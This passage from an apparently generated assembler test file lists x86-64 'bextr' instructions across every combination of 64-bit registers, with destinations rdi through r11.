bextr rdi, rax, r10
bextr rdi, rax, r11
bextr rdi, rax, r12
bextr rdi, rax, r13
bextr rdi, rax, r14
bextr rdi, rax, r15
bextr rdi, rax, rsp
bextr rdi, rax, rsi
bextr rdi, rax, rbp
bextr rdi, rbx, rax
bextr rdi, rbx, rbx
bextr rdi, rbx, rcx
bextr rdi, rbx, rdx
bextr rdi, rbx, rdi
bextr rdi, rbx, r8
bextr rdi, rbx, r9
bextr rdi, rbx, r10
bextr rdi, rbx, r11
bextr rdi, rbx, r12
bextr rdi, rbx, r13
bextr rdi, rbx, r14
bextr rdi, rbx, r15
bextr rdi, rbx, rsp
bextr rdi, rbx, rsi
bextr rdi, rbx, rbp
bextr rdi, rcx, rax
bextr rdi, rcx, rbx
bextr rdi, rcx, rcx
bextr rdi, rcx, rdx
bextr rdi, rcx, rdi
bextr rdi, rcx, r8
bextr rdi, rcx, r9
bextr rdi, rcx, r10
bextr rdi, rcx, r11
bextr rdi, rcx, r12
bextr rdi, rcx, r13
bextr rdi, rcx, r14
bextr rdi, rcx, r15
bextr rdi, rcx, rsp
bextr rdi, rcx, rsi
bextr rdi, rcx, rbp
bextr rdi, rdx, rax
bextr rdi, rdx, rbx
bextr rdi, rdx, rcx
bextr rdi, rdx, rdx
bextr rdi, rdx, rdi
bextr rdi, rdx, r8
bextr rdi, rdx, r9
bextr rdi, rdx, r10
bextr rdi, rdx, r11
bextr rdi, rdx, r12
bextr rdi, rdx, r13
bextr rdi, rdx, r14
bextr rdi, rdx, r15
bextr rdi, rdx, rsp
bextr rdi, rdx, rsi
bextr rdi, rdx, rbp
bextr rdi, rdi, rax
bextr rdi, rdi, rbx
bextr rdi, rdi, rcx
bextr rdi, rdi, rdx
bextr rdi, rdi, rdi
bextr rdi, rdi, r8
bextr rdi, rdi, r9
bextr rdi, rdi, r10
bextr rdi, rdi, r11
bextr rdi, rdi, r12
bextr rdi, rdi, r13
bextr rdi, rdi, r14
bextr rdi, rdi, r15
bextr rdi, rdi, rsp
bextr rdi, rdi, rsi
bextr rdi, rdi, rbp
bextr rdi, r8, rax
bextr rdi, r8, rbx
bextr rdi, r8, rcx
bextr rdi, r8, rdx
bextr rdi, r8, rdi
bextr rdi, r8, r8
bextr rdi, r8, r9
bextr rdi, r8, r10
bextr rdi, r8, r11
bextr rdi, r8, r12
bextr rdi, r8, r13
bextr rdi, r8, r14
bextr rdi, r8, r15
bextr rdi, r8, rsp
bextr rdi, r8, rsi
bextr rdi, r8, rbp
bextr rdi, r9, rax
bextr rdi, r9, rbx
bextr rdi, r9, rcx
bextr rdi, r9, rdx
bextr rdi, r9, rdi
bextr rdi, r9, r8
bextr rdi, r9, r9
bextr rdi, r9, r10
bextr rdi, r9, r11
bextr rdi, r9, r12
bextr rdi, r9, r13
bextr rdi, r9, r14
bextr rdi, r9, r15
bextr rdi, r9, rsp
bextr rdi, r9, rsi
bextr rdi, r9, rbp
bextr rdi, r10, rax
bextr rdi, r10, rbx
bextr rdi, r10, rcx
bextr rdi, r10, rdx
bextr rdi, r10, rdi
bextr rdi, r10, r8
bextr rdi, r10, r9
bextr rdi, r10, r10
bextr rdi, r10, r11
bextr rdi, r10, r12
bextr rdi, r10, r13
bextr rdi, r10, r14
bextr rdi, r10, r15
bextr rdi, r10, rsp
bextr rdi, r10, rsi
bextr rdi, r10, rbp
bextr rdi, r11, rax
bextr rdi, r11, rbx
bextr rdi, r11, rcx
bextr rdi, r11, rdx
bextr rdi, r11, rdi
bextr rdi, r11, r8
bextr rdi, r11, r9
bextr rdi, r11, r10
bextr rdi, r11, r11
bextr rdi, r11, r12
bextr rdi, r11, r13
bextr rdi, r11, r14
bextr rdi, r11, r15
bextr rdi, r11, rsp
bextr rdi, r11, rsi
bextr rdi, r11, rbp
bextr rdi, r12, rax
bextr rdi, r12, rbx
bextr rdi, r12, rcx
bextr rdi, r12, rdx
bextr rdi, r12, rdi
bextr rdi, r12, r8
bextr rdi, r12, r9
bextr rdi, r12, r10
bextr rdi, r12, r11
bextr rdi, r12, r12
bextr rdi, r12, r13
bextr rdi, r12, r14
bextr rdi, r12, r15
bextr rdi, r12, rsp
bextr rdi, r12, rsi
bextr rdi, r12, rbp
bextr rdi, r13, rax
bextr rdi, r13, rbx
bextr rdi, r13, rcx
bextr rdi, r13, rdx
bextr rdi, r13, rdi
bextr rdi, r13, r8
bextr rdi, r13, r9
bextr rdi, r13, r10
bextr rdi, r13, r11
bextr rdi, r13, r12
bextr rdi, r13, r13
bextr rdi, r13, r14
bextr rdi, r13, r15
bextr rdi, r13, rsp
bextr rdi, r13, rsi
bextr rdi, r13, rbp
bextr rdi, r14, rax
bextr rdi, r14, rbx
bextr rdi, r14, rcx
bextr rdi, r14, rdx
bextr rdi, r14, rdi
bextr rdi, r14, r8
bextr rdi, r14, r9
bextr rdi, r14, r10
bextr rdi, r14, r11
bextr rdi, r14, r12
bextr rdi, r14, r13
bextr rdi, r14, r14
bextr rdi, r14, r15
bextr rdi, r14, rsp
bextr rdi, r14, rsi
bextr rdi, r14, rbp
bextr rdi, r15, rax
bextr rdi, r15, rbx
bextr rdi, r15, rcx
bextr rdi, r15, rdx
bextr rdi, r15, rdi
bextr rdi, r15, r8
bextr rdi, r15, r9
bextr rdi, r15, r10
bextr rdi, r15, r11
bextr rdi, r15, r12
bextr rdi, r15, r13
bextr rdi, r15, r14
bextr rdi, r15, r15
bextr rdi, r15, rsp
bextr rdi, r15, rsi
bextr rdi, r15, rbp
bextr rdi, rsp, rax
bextr rdi, rsp, rbx
bextr rdi, rsp, rcx
bextr rdi, rsp, rdx
bextr rdi, rsp, rdi
bextr rdi, rsp, r8
bextr rdi, rsp, r9
bextr rdi, rsp, r10
bextr rdi, rsp, r11
bextr rdi, rsp, r12
bextr rdi, rsp, r13
bextr rdi, rsp, r14
bextr rdi, rsp, r15
bextr rdi, rsp, rsp
bextr rdi, rsp, rsi
bextr rdi, rsp, rbp
bextr rdi, rsi, rax
bextr rdi, rsi, rbx
bextr rdi, rsi, rcx
bextr rdi, rsi, rdx
bextr rdi, rsi, rdi
bextr rdi, rsi, r8
bextr rdi, rsi, r9
bextr rdi, rsi, r10
bextr rdi, rsi, r11
bextr rdi, rsi, r12
bextr rdi, rsi, r13
bextr rdi, rsi, r14
bextr rdi, rsi, r15
bextr rdi, rsi, rsp
bextr rdi, rsi, rsi
bextr rdi, rsi, rbp
bextr rdi, rbp, rax
bextr rdi, rbp, rbx
bextr rdi, rbp, rcx
bextr rdi, rbp, rdx
bextr rdi, rbp, rdi
bextr rdi, rbp, r8
bextr rdi, rbp, r9
bextr rdi, rbp, r10
bextr rdi, rbp, r11
bextr rdi, rbp, r12
bextr rdi, rbp, r13
bextr rdi, rbp, r14
bextr rdi, rbp, r15
bextr rdi, rbp, rsp
bextr rdi, rbp, rsi
bextr rdi, rbp, rbp
bextr r8, rax, rax
bextr r8, rax, rbx
bextr r8, rax, rcx
bextr r8, rax, rdx
bextr r8, rax, rdi
bextr r8, rax, r8
bextr r8, rax, r9
bextr r8, rax, r10
bextr r8, rax, r11
bextr r8, rax, r12
bextr r8, rax, r13
bextr r8, rax, r14
bextr r8, rax, r15
bextr r8, rax, rsp
bextr r8, rax, rsi
bextr r8, rax, rbp
bextr r8, rbx, rax
bextr r8, rbx, rbx
bextr r8, rbx, rcx
bextr r8, rbx, rdx
bextr r8, rbx, rdi
bextr r8, rbx, r8
bextr r8, rbx, r9
bextr r8, rbx, r10
bextr r8, rbx, r11
bextr r8, rbx, r12
bextr r8, rbx, r13
bextr r8, rbx, r14
bextr r8, rbx, r15
bextr r8, rbx, rsp
bextr r8, rbx, rsi
bextr r8, rbx, rbp
bextr r8, rcx, rax
bextr r8, rcx, rbx
bextr r8, rcx, rcx
bextr r8, rcx, rdx
bextr r8, rcx, rdi
bextr r8, rcx, r8
bextr r8, rcx, r9
bextr r8, rcx, r10
bextr r8, rcx, r11
bextr r8, rcx, r12
bextr r8, rcx, r13
bextr r8, rcx, r14
bextr r8, rcx, r15
bextr r8, rcx, rsp
bextr r8, rcx, rsi
bextr r8, rcx, rbp
bextr r8, rdx, rax
bextr r8, rdx, rbx
bextr r8, rdx, rcx
bextr r8, rdx, rdx
bextr r8, rdx, rdi
bextr r8, rdx, r8
bextr r8, rdx, r9
bextr r8, rdx, r10
bextr r8, rdx, r11
bextr r8, rdx, r12
bextr r8, rdx, r13
bextr r8, rdx, r14
bextr r8, rdx, r15
bextr r8, rdx, rsp
bextr r8, rdx, rsi
bextr r8, rdx, rbp
bextr r8, rdi, rax
bextr r8, rdi, rbx
bextr r8, rdi, rcx
bextr r8, rdi, rdx
bextr r8, rdi, rdi
bextr r8, rdi, r8
bextr r8, rdi, r9
bextr r8, rdi, r10
bextr r8, rdi, r11
bextr r8, rdi, r12
bextr r8, rdi, r13
bextr r8, rdi, r14
bextr r8, rdi, r15
bextr r8, rdi, rsp
bextr r8, rdi, rsi
bextr r8, rdi, rbp
bextr r8, r8, rax
bextr r8, r8, rbx
bextr r8, r8, rcx
bextr r8, r8, rdx
bextr r8, r8, rdi
bextr r8, r8, r8
bextr r8, r8, r9
bextr r8, r8, r10
bextr r8, r8, r11
bextr r8, r8, r12
bextr r8, r8, r13
bextr r8, r8, r14
bextr r8, r8, r15
bextr r8, r8, rsp
bextr r8, r8, rsi
bextr r8, r8, rbp
bextr r8, r9, rax
bextr r8, r9, rbx
bextr r8, r9, rcx
bextr r8, r9, rdx
bextr r8, r9, rdi
bextr r8, r9, r8
bextr r8, r9, r9
bextr r8, r9, r10
bextr r8, r9, r11
bextr r8, r9, r12
bextr r8, r9, r13
bextr r8, r9, r14
bextr r8, r9, r15
bextr r8, r9, rsp
bextr r8, r9, rsi
bextr r8, r9, rbp
bextr r8, r10, rax
bextr r8, r10, rbx
bextr r8, r10, rcx
bextr r8, r10, rdx
bextr r8, r10, rdi
bextr r8, r10, r8
bextr r8, r10, r9
bextr r8, r10, r10
bextr r8, r10, r11
bextr r8, r10, r12
bextr r8, r10, r13
bextr r8, r10, r14
bextr r8, r10, r15
bextr r8, r10, rsp
bextr r8, r10, rsi
bextr r8, r10, rbp
bextr r8, r11, rax
bextr r8, r11, rbx
bextr r8, r11, rcx
bextr r8, r11, rdx
bextr r8, r11, rdi
bextr r8, r11, r8
bextr r8, r11, r9
bextr r8, r11, r10
bextr r8, r11, r11
bextr r8, r11, r12
bextr r8, r11, r13
bextr r8, r11, r14
bextr r8, r11, r15
bextr r8, r11, rsp
bextr r8, r11, rsi
bextr r8, r11, rbp
bextr r8, r12, rax
bextr r8, r12, rbx
bextr r8, r12, rcx
bextr r8, r12, rdx
bextr r8, r12, rdi
bextr r8, r12, r8
bextr r8, r12, r9
bextr r8, r12, r10
bextr r8, r12, r11
bextr r8, r12, r12
bextr r8, r12, r13
bextr r8, r12, r14
bextr r8, r12, r15
bextr r8, r12, rsp
bextr r8, r12, rsi
bextr r8, r12, rbp
bextr r8, r13, rax
bextr r8, r13, rbx
bextr r8, r13, rcx
bextr r8, r13, rdx
bextr r8, r13, rdi
bextr r8, r13, r8
bextr r8, r13, r9
bextr r8, r13, r10
bextr r8, r13, r11
bextr r8, r13, r12
bextr r8, r13, r13
bextr r8, r13, r14
bextr r8, r13, r15
bextr r8, r13, rsp
bextr r8, r13, rsi
bextr r8, r13, rbp
bextr r8, r14, rax
bextr r8, r14, rbx
bextr r8, r14, rcx
bextr r8, r14, rdx
bextr r8, r14, rdi
bextr r8, r14, r8
bextr r8, r14, r9
bextr r8, r14, r10
bextr r8, r14, r11
bextr r8, r14, r12
bextr r8, r14, r13
bextr r8, r14, r14
bextr r8, r14, r15
bextr r8, r14, rsp
bextr r8, r14, rsi
bextr r8, r14, rbp
bextr r8, r15, rax
bextr r8, r15, rbx
bextr r8, r15, rcx
bextr r8, r15, rdx
bextr r8, r15, rdi
bextr r8, r15, r8
bextr r8, r15, r9
bextr r8, r15, r10
bextr r8, r15, r11
bextr r8, r15, r12
bextr r8, r15, r13
bextr r8, r15, r14
bextr r8, r15, r15
bextr r8, r15, rsp
bextr r8, r15, rsi
bextr r8, r15, rbp
bextr r8, rsp, rax
bextr r8, rsp, rbx
bextr r8, rsp, rcx
bextr r8, rsp, rdx
bextr r8, rsp, rdi
bextr r8, rsp, r8
bextr r8, rsp, r9
bextr r8, rsp, r10
bextr r8, rsp, r11
bextr r8, rsp, r12
bextr r8, rsp, r13
bextr r8, rsp, r14
bextr r8, rsp, r15
bextr r8, rsp, rsp
bextr r8, rsp, rsi
bextr r8, rsp, rbp
bextr r8, rsi, rax
bextr r8, rsi, rbx
bextr r8, rsi, rcx
bextr r8, rsi, rdx
bextr r8, rsi, rdi
bextr r8, rsi, r8
bextr r8, rsi, r9
bextr r8, rsi, r10
bextr r8, rsi, r11
bextr r8, rsi, r12
bextr r8, rsi, r13
bextr r8, rsi, r14
bextr r8, rsi, r15
bextr r8, rsi, rsp
bextr r8, rsi, rsi
bextr r8, rsi, rbp
bextr r8, rbp, rax
bextr r8, rbp, rbx
bextr r8, rbp, rcx
bextr r8, rbp, rdx
bextr r8, rbp, rdi
bextr r8, rbp, r8
bextr r8, rbp, r9
bextr r8, rbp, r10
bextr r8, rbp, r11
bextr r8, rbp, r12
bextr r8, rbp, r13
bextr r8, rbp, r14
bextr r8, rbp, r15
bextr r8, rbp, rsp
bextr r8, rbp, rsi
bextr r8, rbp, rbp
bextr r9, rax, rax
bextr r9, rax, rbx
bextr r9, rax, rcx
bextr r9, rax, rdx
bextr r9, rax, rdi
bextr r9, rax, r8
bextr r9, rax, r9
bextr r9, rax, r10
bextr r9, rax, r11
bextr r9, rax, r12
bextr r9, rax, r13
bextr r9, rax, r14
bextr r9, rax, r15
bextr r9, rax, rsp
bextr r9, rax, rsi
bextr r9, rax, rbp
bextr r9, rbx, rax
bextr r9, rbx, rbx
bextr r9, rbx, rcx
bextr r9, rbx, rdx
bextr r9, rbx, rdi
bextr r9, rbx, r8
bextr r9, rbx, r9
bextr r9, rbx, r10
bextr r9, rbx, r11
bextr r9, rbx, r12
bextr r9, rbx, r13
bextr r9, rbx, r14
bextr r9, rbx, r15
bextr r9, rbx, rsp
bextr r9, rbx, rsi
bextr r9, rbx, rbp
bextr r9, rcx, rax
bextr r9, rcx, rbx
bextr r9, rcx, rcx
bextr r9, rcx, rdx
bextr r9, rcx, rdi
bextr r9, rcx, r8
bextr r9, rcx, r9
bextr r9, rcx, r10
bextr r9, rcx, r11
bextr r9, rcx, r12
bextr r9, rcx, r13
bextr r9, rcx, r14
bextr r9, rcx, r15
bextr r9, rcx, rsp
bextr r9, rcx, rsi
bextr r9, rcx, rbp
bextr r9, rdx, rax
bextr r9, rdx, rbx
bextr r9, rdx, rcx
bextr r9, rdx, rdx
bextr r9, rdx, rdi
bextr r9, rdx, r8
bextr r9, rdx, r9
bextr r9, rdx, r10
bextr r9, rdx, r11
bextr r9, rdx, r12
bextr r9, rdx, r13
bextr r9, rdx, r14
bextr r9, rdx, r15
bextr r9, rdx, rsp
bextr r9, rdx, rsi
bextr r9, rdx, rbp
bextr r9, rdi, rax
bextr r9, rdi, rbx
bextr r9, rdi, rcx
bextr r9, rdi, rdx
bextr r9, rdi, rdi
bextr r9, rdi, r8
bextr r9, rdi, r9
bextr r9, rdi, r10
bextr r9, rdi, r11
bextr r9, rdi, r12
bextr r9, rdi, r13
bextr r9, rdi, r14
bextr r9, rdi, r15
bextr r9, rdi, rsp
bextr r9, rdi, rsi
bextr r9, rdi, rbp
bextr r9, r8, rax
bextr r9, r8, rbx
bextr r9, r8, rcx
bextr r9, r8, rdx
bextr r9, r8, rdi
bextr r9, r8, r8
bextr r9, r8, r9
bextr r9, r8, r10
bextr r9, r8, r11
bextr r9, r8, r12
bextr r9, r8, r13
bextr r9, r8, r14
bextr r9, r8, r15
bextr r9, r8, rsp
bextr r9, r8, rsi
bextr r9, r8, rbp
bextr r9, r9, rax
bextr r9, r9, rbx
bextr r9, r9, rcx
bextr r9, r9, rdx
bextr r9, r9, rdi
bextr r9, r9, r8
bextr r9, r9, r9
bextr r9, r9, r10
bextr r9, r9, r11
bextr r9, r9, r12
bextr r9, r9, r13
bextr r9, r9, r14
bextr r9, r9, r15
bextr r9, r9, rsp
bextr r9, r9, rsi
bextr r9, r9, rbp
bextr r9, r10, rax
bextr r9, r10, rbx
bextr r9, r10, rcx
bextr r9, r10, rdx
bextr r9, r10, rdi
bextr r9, r10, r8
bextr r9, r10, r9
bextr r9, r10, r10
bextr r9, r10, r11
bextr r9, r10, r12
bextr r9, r10, r13
bextr r9, r10, r14
bextr r9, r10, r15
bextr r9, r10, rsp
bextr r9, r10, rsi
bextr r9, r10, rbp
bextr r9, r11, rax
bextr r9, r11, rbx
bextr r9, r11, rcx
bextr r9, r11, rdx
bextr r9, r11, rdi
bextr r9, r11, r8
bextr r9, r11, r9
bextr r9, r11, r10
bextr r9, r11, r11
bextr r9, r11, r12
bextr r9, r11, r13
bextr r9, r11, r14
bextr r9, r11, r15
bextr r9, r11, rsp
bextr r9, r11, rsi
bextr r9, r11, rbp
bextr r9, r12, rax
bextr r9, r12, rbx
bextr r9, r12, rcx
bextr r9, r12, rdx
bextr r9, r12, rdi
bextr r9, r12, r8
bextr r9, r12, r9
bextr r9, r12, r10
bextr r9, r12, r11
bextr r9, r12, r12
bextr r9, r12, r13
bextr r9, r12, r14
bextr r9, r12, r15
bextr r9, r12, rsp
bextr r9, r12, rsi
bextr r9, r12, rbp
bextr r9, r13, rax
bextr r9, r13, rbx
bextr r9, r13, rcx
bextr r9, r13, rdx
bextr r9, r13, rdi
bextr r9, r13, r8
bextr r9, r13, r9
bextr r9, r13, r10
bextr r9, r13, r11
bextr r9, r13, r12
bextr r9, r13, r13
bextr r9, r13, r14
bextr r9, r13, r15
bextr r9, r13, rsp
bextr r9, r13, rsi
bextr r9, r13, rbp
bextr r9, r14, rax
bextr r9, r14, rbx
bextr r9, r14, rcx
bextr r9, r14, rdx
bextr r9, r14, rdi
bextr r9, r14, r8
bextr r9, r14, r9
bextr r9, r14, r10
bextr r9, r14, r11
bextr r9, r14, r12
bextr r9, r14, r13
bextr r9, r14, r14
bextr r9, r14, r15
bextr r9, r14, rsp
bextr r9, r14, rsi
bextr r9, r14, rbp
bextr r9, r15, rax
bextr r9, r15, rbx
bextr r9, r15, rcx
bextr r9, r15, rdx
bextr r9, r15, rdi
bextr r9, r15, r8
bextr r9, r15, r9
bextr r9, r15, r10
bextr r9, r15, r11
bextr r9, r15, r12
bextr r9, r15, r13
bextr r9, r15, r14
bextr r9, r15, r15
bextr r9, r15, rsp
bextr r9, r15, rsi
bextr r9, r15, rbp
bextr r9, rsp, rax
bextr r9, rsp, rbx
bextr r9, rsp, rcx
bextr r9, rsp, rdx
bextr r9, rsp, rdi
bextr r9, rsp, r8
bextr r9, rsp, r9
bextr r9, rsp, r10
bextr r9, rsp, r11
bextr r9, rsp, r12
bextr r9, rsp, r13
bextr r9, rsp, r14
bextr r9, rsp, r15
bextr r9, rsp, rsp
bextr r9, rsp, rsi
bextr r9, rsp, rbp
bextr r9, rsi, rax
bextr r9, rsi, rbx
bextr r9, rsi, rcx
bextr r9, rsi, rdx
bextr r9, rsi, rdi
bextr r9, rsi, r8
bextr r9, rsi, r9
bextr r9, rsi, r10
bextr r9, rsi, r11
bextr r9, rsi, r12
bextr r9, rsi, r13
bextr r9, rsi, r14
bextr r9, rsi, r15
bextr r9, rsi, rsp
bextr r9, rsi, rsi
bextr r9, rsi, rbp
bextr r9, rbp, rax
bextr r9, rbp, rbx
bextr r9, rbp, rcx
bextr r9, rbp, rdx
bextr r9, rbp, rdi
bextr r9, rbp, r8
bextr r9, rbp, r9
bextr r9, rbp, r10
bextr r9, rbp, r11
bextr r9, rbp, r12
bextr r9, rbp, r13
bextr r9, rbp, r14
bextr r9, rbp, r15
bextr r9, rbp, rsp
bextr r9, rbp, rsi
bextr r9, rbp, rbp
bextr r10, rax, rax
bextr r10, rax, rbx
bextr r10, rax, rcx
bextr r10, rax, rdx
bextr r10, rax, rdi
bextr r10, rax, r8
bextr r10, rax, r9
bextr r10, rax, r10
bextr r10, rax, r11
bextr r10, rax, r12
bextr r10, rax, r13
bextr r10, rax, r14
bextr r10, rax, r15
bextr r10, rax, rsp
bextr r10, rax, rsi
bextr r10, rax, rbp
bextr r10, rbx, rax
bextr r10, rbx, rbx
bextr r10, rbx, rcx
bextr r10, rbx, rdx
bextr r10, rbx, rdi
bextr r10, rbx, r8
bextr r10, rbx, r9
bextr r10, rbx, r10
bextr r10, rbx, r11
bextr r10, rbx, r12
bextr r10, rbx, r13
bextr r10, rbx, r14
bextr r10, rbx, r15
bextr r10, rbx, rsp
bextr r10, rbx, rsi
bextr r10, rbx, rbp
bextr r10, rcx, rax
bextr r10, rcx, rbx
bextr r10, rcx, rcx
bextr r10, rcx, rdx
bextr r10, rcx, rdi
bextr r10, rcx, r8
bextr r10, rcx, r9
bextr r10, rcx, r10
bextr r10, rcx, r11
bextr r10, rcx, r12
bextr r10, rcx, r13
bextr r10, rcx, r14
bextr r10, rcx, r15
bextr r10, rcx, rsp
bextr r10, rcx, rsi
bextr r10, rcx, rbp
bextr r10, rdx, rax
bextr r10, rdx, rbx
bextr r10, rdx, rcx
bextr r10, rdx, rdx
bextr r10, rdx, rdi
bextr r10, rdx, r8
bextr r10, rdx, r9
bextr r10, rdx, r10
bextr r10, rdx, r11
bextr r10, rdx, r12
bextr r10, rdx, r13
bextr r10, rdx, r14
bextr r10, rdx, r15
bextr r10, rdx, rsp
bextr r10, rdx, rsi
bextr r10, rdx, rbp
bextr r10, rdi, rax
bextr r10, rdi, rbx
bextr r10, rdi, rcx
bextr r10, rdi, rdx
bextr r10, rdi, rdi
bextr r10, rdi, r8
bextr r10, rdi, r9
bextr r10, rdi, r10
bextr r10, rdi, r11
bextr r10, rdi, r12
bextr r10, rdi, r13
bextr r10, rdi, r14
bextr r10, rdi, r15
bextr r10, rdi, rsp
bextr r10, rdi, rsi
bextr r10, rdi, rbp
bextr r10, r8, rax
bextr r10, r8, rbx
bextr r10, r8, rcx
bextr r10, r8, rdx
bextr r10, r8, rdi
bextr r10, r8, r8
bextr r10, r8, r9
bextr r10, r8, r10
bextr r10, r8, r11
bextr r10, r8, r12
bextr r10, r8, r13
bextr r10, r8, r14
bextr r10, r8, r15
bextr r10, r8, rsp
bextr r10, r8, rsi
bextr r10, r8, rbp
bextr r10, r9, rax
bextr r10, r9, rbx
bextr r10, r9, rcx
bextr r10, r9, rdx
bextr r10, r9, rdi
bextr r10, r9, r8
bextr r10, r9, r9
bextr r10, r9, r10
bextr r10, r9, r11
bextr r10, r9, r12
bextr r10, r9, r13
bextr r10, r9, r14
bextr r10, r9, r15
bextr r10, r9, rsp
bextr r10, r9, rsi
bextr r10, r9, rbp
bextr r10, r10, rax
bextr r10, r10, rbx
bextr r10, r10, rcx
bextr r10, r10, rdx
bextr r10, r10, rdi
bextr r10, r10, r8
bextr r10, r10, r9
bextr r10, r10, r10
bextr r10, r10, r11
bextr r10, r10, r12
bextr r10, r10, r13
bextr r10, r10, r14
bextr r10, r10, r15
bextr r10, r10, rsp
bextr r10, r10, rsi
bextr r10, r10, rbp
bextr r10, r11, rax
bextr r10, r11, rbx
bextr r10, r11, rcx
bextr r10, r11, rdx
bextr r10, r11, rdi
bextr r10, r11, r8
bextr r10, r11, r9
bextr r10, r11, r10
bextr r10, r11, r11
bextr r10, r11, r12
bextr r10, r11, r13
bextr r10, r11, r14
bextr r10, r11, r15
bextr r10, r11, rsp
bextr r10, r11, rsi
bextr r10, r11, rbp
bextr r10, r12, rax
bextr r10, r12, rbx
bextr r10, r12, rcx
bextr r10, r12, rdx
bextr r10, r12, rdi
bextr r10, r12, r8
bextr r10, r12, r9
bextr r10, r12, r10
bextr r10, r12, r11
bextr r10, r12, r12
bextr r10, r12, r13
bextr r10, r12, r14
bextr r10, r12, r15
bextr r10, r12, rsp
bextr r10, r12, rsi
bextr r10, r12, rbp
bextr r10, r13, rax
bextr r10, r13, rbx
bextr r10, r13, rcx
bextr r10, r13, rdx
bextr r10, r13, rdi
bextr r10, r13, r8
bextr r10, r13, r9
bextr r10, r13, r10
bextr r10, r13, r11
bextr r10, r13, r12
bextr r10, r13, r13
bextr r10, r13, r14
bextr r10, r13, r15
bextr r10, r13, rsp
bextr r10, r13, rsi
bextr r10, r13, rbp
bextr r10, r14, rax
bextr r10, r14, rbx
bextr r10, r14, rcx
bextr r10, r14, rdx
bextr r10, r14, rdi
bextr r10, r14, r8
bextr r10, r14, r9
bextr r10, r14, r10
bextr r10, r14, r11
bextr r10, r14, r12
bextr r10, r14, r13
bextr r10, r14, r14
bextr r10, r14, r15
bextr r10, r14, rsp
bextr r10, r14, rsi
bextr r10, r14, rbp
bextr r10, r15, rax
bextr r10, r15, rbx
bextr r10, r15, rcx
bextr r10, r15, rdx
bextr r10, r15, rdi
bextr r10, r15, r8
bextr r10, r15, r9
bextr r10, r15, r10
bextr r10, r15, r11
bextr r10, r15, r12
bextr r10, r15, r13
bextr r10, r15, r14
bextr r10, r15, r15
bextr r10, r15, rsp
bextr r10, r15, rsi
bextr r10, r15, rbp
bextr r10, rsp, rax
bextr r10, rsp, rbx
bextr r10, rsp, rcx
bextr r10, rsp, rdx
bextr r10, rsp, rdi
bextr r10, rsp, r8
bextr r10, rsp, r9
bextr r10, rsp, r10
bextr r10, rsp, r11
bextr r10, rsp, r12
bextr r10, rsp, r13
bextr r10, rsp, r14
bextr r10, rsp, r15
bextr r10, rsp, rsp
bextr r10, rsp, rsi
bextr r10, rsp, rbp
bextr r10, rsi, rax
bextr r10, rsi, rbx
bextr r10, rsi, rcx
bextr r10, rsi, rdx
bextr r10, rsi, rdi
bextr r10, rsi, r8
bextr r10, rsi, r9
bextr r10, rsi, r10
bextr r10, rsi, r11
bextr r10, rsi, r12
bextr r10, rsi, r13
bextr r10, rsi, r14
bextr r10, rsi, r15
bextr r10, rsi, rsp
bextr r10, rsi, rsi
bextr r10, rsi, rbp
bextr r10, rbp, rax
bextr r10, rbp, rbx
bextr r10, rbp, rcx
bextr r10, rbp, rdx
bextr r10, rbp, rdi
bextr r10, rbp, r8
bextr r10, rbp, r9
bextr r10, rbp, r10
bextr r10, rbp, r11
bextr r10, rbp, r12
bextr r10, rbp, r13
bextr r10, rbp, r14
bextr r10, rbp, r15
bextr r10, rbp, rsp
bextr r10, rbp, rsi
bextr r10, rbp, rbp
bextr r11, rax, rax
bextr r11, rax, rbx
bextr r11, rax, rcx
bextr r11, rax, rdx
bextr r11, rax, rdi
bextr r11, rax, r8
bextr r11, rax, r9
bextr r11, rax, r10
bextr r11, rax, r11
bextr r11, rax, r12
bextr r11, rax, r13
bextr r11, rax, r14
bextr r11, rax, r15
bextr r11, rax, rsp
bextr r11, rax, rsi
bextr r11, rax, rbp
bextr r11, rbx, rax
bextr r11, rbx, rbx
bextr r11, rbx, rcx
bextr r11, rbx, rdx
bextr r11, rbx, rdi
bextr r11, rbx, r8
bextr r11, rbx, r9
bextr r11, rbx, r10
bextr r11, rbx, r11
bextr r11, rbx, r12
bextr r11, rbx, r13
bextr r11, rbx, r14
bextr r11, rbx, r15
bextr r11, rbx, rsp
bextr r11, rbx, rsi
bextr r11, rbx, rbp
bextr r11, rcx, rax
bextr r11, rcx, rbx
bextr r11, rcx, rcx
bextr r11, rcx, rdx
bextr r11, rcx, rdi
bextr r11, rcx, r8
bextr r11, rcx, r9
bextr r11, rcx, r10
bextr r11, rcx, r11
bextr r11, rcx, r12
bextr r11, rcx, r13
bextr r11, rcx, r14
bextr r11, rcx, r15
bextr r11, rcx, rsp
bextr r11, rcx, rsi
bextr r11, rcx, rbp
bextr r11, rdx, rax
bextr r11, rdx, rbx
bextr r11, rdx, rcx
bextr r11, rdx, rdx
bextr r11, rdx, rdi
bextr r11, rdx, r8
bextr r11, rdx, r9
bextr r11, rdx, r10
bextr r11, rdx, r11
bextr r11, rdx, r12
bextr r11, rdx, r13
bextr r11, rdx, r14
bextr r11, rdx, r15
bextr r11, rdx, rsp
bextr r11, rdx, rsi
bextr r11, rdx, rbp
bextr r11, rdi, rax
bextr r11, rdi, rbx
bextr r11, rdi, rcx
bextr r11, rdi, rdx
bextr r11, rdi, rdi
bextr r11, rdi, r8
bextr r11, rdi, r9
bextr r11, rdi, r10
bextr r11, rdi, r11
bextr r11, rdi, r12
bextr r11, rdi, r13
bextr r11, rdi, r14
bextr r11, rdi, r15
bextr r11, rdi, rsp
bextr r11, rdi, rsi
bextr r11, rdi, rbp
bextr r11, r8, rax
bextr r11, r8, rbx
bextr r11, r8, rcx
bextr r11, r8, rdx
bextr r11, r8, rdi
bextr r11, r8, r8
bextr r11, r8, r9
bextr r11, r8, r10
bextr r11, r8, r11
bextr r11, r8, r12
bextr r11, r8, r13
bextr r11, r8, r14
bextr r11, r8, r15
bextr r11, r8, rsp
bextr r11, r8, rsi
bextr r11, r8, rbp
bextr r11, r9, rax
bextr r11, r9, rbx
bextr r11, r9, rcx
bextr r11, r9, rdx
bextr r11, r9, rdi
bextr r11, r9, r8
bextr r11, r9, r9
bextr r11, r9, r10
bextr r11, r9, r11
bextr r11, r9, r12
bextr r11, r9, r13
bextr r11, r9, r14
bextr r11, r9, r15
bextr r11, r9, rsp
bextr r11, r9, rsi
bextr r11, r9, rbp
bextr r11, r10, rax
bextr r11, r10, rbx
bextr r11, r10, rcx
bextr r11, r10, rdx
bextr r11, r10, rdi
bextr r11, r10, r8
bextr r11, r10, r9
bextr r11, r10, r10
bextr r11, r10, r11
bextr r11, r10, r12
bextr r11, r10, r13
bextr r11, r10, r14
bextr r11, r10, r15
bextr r11, r10, rsp
bextr r11, r10, rsi
